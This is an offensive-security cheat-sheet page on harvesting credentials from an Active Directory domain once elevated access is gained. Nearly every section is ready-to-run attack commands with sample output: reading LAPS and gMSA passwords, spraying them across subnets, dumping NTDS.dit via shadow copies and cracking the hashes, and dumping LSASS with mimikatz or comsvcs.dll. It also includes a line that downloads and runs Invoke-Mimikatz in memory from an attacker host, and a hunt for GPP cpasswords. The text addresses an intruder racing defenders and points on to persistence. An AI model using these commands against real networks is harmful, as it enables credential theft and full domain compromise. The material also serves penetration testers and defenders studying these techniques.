Skip to content
HackIndex logo

HackIndex

Credential Harvesting

6 min read Jul 10, 2026

After gaining elevated access in AD, credential harvesting extends your reach. LAPS passwords give local admin access to workstations, gMSA hashes give access to service account contexts, and NTDS gives every hash in the domain. Collect these in order of impact before any defensive action can remove your access.

LAPS passwords

LAPS stores auto-rotated local admin passwords in ms-MCS-AdmPwd. With sufficient ACL rights — which elevated accounts often have — you can read the current password for every LAPS-managed machine.

┌──(kali㉿kali)-[~]
└─$ # All readable LAPS passwords via BloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(ms-MCS-AdmPwd=*)' --attr dNSHostName ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime
 
┌──(kali㉿kali)-[~]
└─$ # nxc — cleaner output
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps
 
┌──(kali㉿kali)-[~]
└─$ # ldapsearch
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" dNSHostName ms-MCS-AdmPwd
 
┌──(kali㉿kali)-[~]
└─$ # Spray LAPS passwords across workstations
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u Administrator -p $LAPS_PASSWORD --local-auth
LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS: xK9#mP2!vL
LDAP  10.10.10.10  389  DC01  Computer: WS02$  LAPS: Tr8@nK4!pQ
PS C:\Users\Guest\Desktop> # PowerView — requires read rights on ms-MCS-AdmPwd
PS C:\Users\Guest\Desktop> Get-DomainComputer -Properties Name,'ms-MCS-AdmPwd','ms-MCS-AdmPwdExpirationTime' |
PS C:\Users\Guest\Desktop>  Where-Object {'ms-MCS-AdmPwd' -ne $null} | Select-Object Name, 'ms-MCS-AdmPwd'
 
PS C:\Users\Guest\Desktop> # AD module (requires RSAT)
PS C:\Users\Guest\Desktop> Get-ADComputer -Filter * -Properties 'ms-MCS-AdmPwd', 'ms-MCS-AdmPwdExpirationTime' |
PS C:\Users\Guest\Desktop>  Where-Object {$_.'ms-MCS-AdmPwd' -ne $null} |
PS C:\Users\Guest\Desktop>  Select-Object Name, 'ms-MCS-AdmPwd', 'ms-MCS-AdmPwdExpirationTime'

gMSA passwords

Group Managed Service Accounts have auto-rotated passwords stored in msDS-ManagedPassword. The blob is only readable by accounts listed in msDS-GroupMSAMembership, but privileged accounts often have read access.

┌──(kali㉿kali)-[~]
└─$ # Find all gMSA accounts
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' --attr sAMAccountName msDS-GroupMSAMembership
 
┌──(kali㉿kali)-[~]
└─$ # Read managed password blob
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object '$GMSA_ACCOUNT$' --attr msDS-ManagedPassword
 
┌──(kali㉿kali)-[~]
└─$ # gMSADumper — parses blob, outputs NT hash
┌──(kali㉿kali)-[~]
└─$ python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --gmsa
 
┌──(kali㉿kali)-[~]
└─$ # Use the NT hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u '$GMSA_ACCOUNT$' -H $NTHASH
Account: svc-backup$  NTLM: a3b4c5d6e7f8a1b2c3d4e5f6a7b8c9d0
PS C:\Users\Guest\Desktop> # Find gMSA accounts and who can read the password
PS C:\Users\Guest\Desktop> Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword |
PS C:\Users\Guest\Desktop>  Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword
 
PS C:\Users\Guest\Desktop> # Read managed password blob (must be in PrincipalsAllowedToRetrieveManagedPassword)
PS C:\Users\Guest\Desktop> $account = Get-ADServiceAccount -Identity '$GMSA_ACCOUNT$' -Properties msDS-ManagedPassword
PS C:\Users\Guest\Desktop> $blob = $account.'msDS-ManagedPassword'
 
PS C:\Users\Guest\Desktop> # Parse blob with DSInternals to get NT hash
PS C:\Users\Guest\Desktop> Import-Module DSInternals
PS C:\Users\Guest\Desktop> $pass = ConvertFrom-ManagedPasswordBlob $blob
PS C:\Users\Guest\Desktop> Write-Host "NT hash: $(($pass.SecureCurrentPassword | ConvertTo-NTHash))"

NTDS.dit: full domain hash dump

NTDS.dit contains every domain user's password hash. Extracting it requires Domain Admin. DCSync is the cleanest method — see DCSync and Domain Takeover. When DCSync is blocked, extract NTDS.dit from a shadow copy on the DC.

PS C:\Users\Guest\Desktop> # Create shadow copy on DC (requires local admin)
PS C:\Users\Guest\Desktop> vssadmin create shadow /for=C:\
PS C:\Users\Guest\Desktop> # List shadow copies to get path
PS C:\Users\Guest\Desktop> vssadmin list shadows
 
PS C:\Users\Guest\Desktop> # Copy NTDS.dit and SYSTEM hive from shadow copy
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.hiv
 
PS C:\Users\Guest\Desktop> # Cleanup
PS C:\Users\Guest\Desktop> vssadmin delete shadows /shadow=<shadow-id> /quiet
┌──(kali㉿kali)-[~]
└─$ # Transfer ntds.dit + system.hiv to Kali first
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL
 
┌──(kali㉿kali)-[~]
└─$ # Extract NT hashes only
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL | grep ':::' | cut -d: -f4 > nt_hashes.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack with hashcat
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt

LSASS: local credentials from memory

LSASS stores NTLM hashes and Kerberos tickets for currently logged-in users. Dumping it gives credentials for active sessions. Particularly valuable on workstations where privileged users are logged in. Requires local admin or SYSTEM.

┌──(kali㉿kali)-[~]
└─$ # Dump credentials remotely using lsassy module
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
 
┌──(kali㉿kali)-[~]
└─$ # Sweep subnet with Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -M lsassy
SMB  10.10.10.20  445  WS01  [+] jsmith:Password123! (NT: fc525c9683e8fe067095ba2ddc971889)
PS C:\Users\Guest\Desktop> # Mimikatz — full dump (requires SeDebugPrivilege)
PS C:\Users\Guest\Desktop> # On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
PS C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
 
PS C:\Users\Guest\Desktop> # LSASS minidump using built-in comsvcs.dll — no external binary needed
PS C:\Users\Guest\Desktop> $pid = (Get-Process lsass).Id
PS C:\Users\Guest\Desktop> rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $pid C:\Windows\Temp\lsass.dmp full
 
PS C:\Users\Guest\Desktop> # In-memory Mimikatz
PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1')
PS C:\Users\Guest\Desktop> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
UserName : Administrator
Domain   : CORP
NTLM     : fc525c9683e8fe067095ba2ddc971889

To parse a minidump offline on Linux: pypykatz lsa minidump lsass.dmp

Credential search across the domain

Credentials frequently appear in LDAP attributes, SYSVOL scripts, and GPO files.

┌──(kali㉿kali)-[~]
└─$ # Passwords in description fields
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(description=*pass*))' --attr sAMAccountName description
 
┌──(kali㉿kali)-[~]
└─$ # Mount SYSVOL and search for GPP cpassword
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; prompt off; mget *'
┌──(kali㉿kali)-[~]
└─$ grep -r 'cpassword' . 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Decrypt GPP cpassword (AES key is public)
┌──(kali㉿kali)-[~]
└─$ gpp-decrypt $CPASSWORD_VALUE
 
┌──(kali㉿kali)-[~]
└─$ # nxc GPP modules
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_password
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_autologin
SMB  10.10.10.10  445  DC01  [+] Found GPP credentials
SMB  10.10.10.10  445  DC01  Username: svc-deploy  Password: Deploy2019!
PS C:\Users\Guest\Desktop> # Passwords in description fields
PS C:\Users\Guest\Desktop> Get-DomainUser | Where-Object {$_.description -like '*pass*'} | Select-Object samaccountname, description
 
PS C:\Users\Guest\Desktop> # GPP cpassword in SYSVOL
PS C:\Users\Guest\Desktop> $sysvol = "\\$DOMAIN\SYSVOL\$DOMAIN\Policies"
PS C:\Users\Guest\Desktop> Get-ChildItem $sysvol -Recurse -Include '*.xml' -ErrorAction SilentlyContinue | Select-String 'cpassword'
 
PS C:\Users\Guest\Desktop> # Stored credentials on this host
PS C:\Users\Guest\Desktop> cmdkey /list
 
PS C:\Users\Guest\Desktop> # PowerShell history — may contain plaintext creds
PS C:\Users\Guest\Desktop> Get-Content (Get-PSReadlineOption).HistorySavePath
 
PS C:\Users\Guest\Desktop> # Registry — proxy and autologon
PS C:\Users\Guest\Desktop> reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
PS C:\Users\Guest\Desktop> reg query 'HKCU\Software\SimonTatham\PuTTY\Sessions' /s

GPP passwords are a classic find: Group Policy Preferences XML files in SYSVOL historically stored AES-encrypted passwords using a Microsoft-published key, making them trivially decryptable. Always check SYSVOL even in modern environments since old GPOs are rarely cleaned up.

With a full set of domain credentials the next step is persistence. See Golden and Silver Ticket Persistence and AD Account and ACL Persistence.

References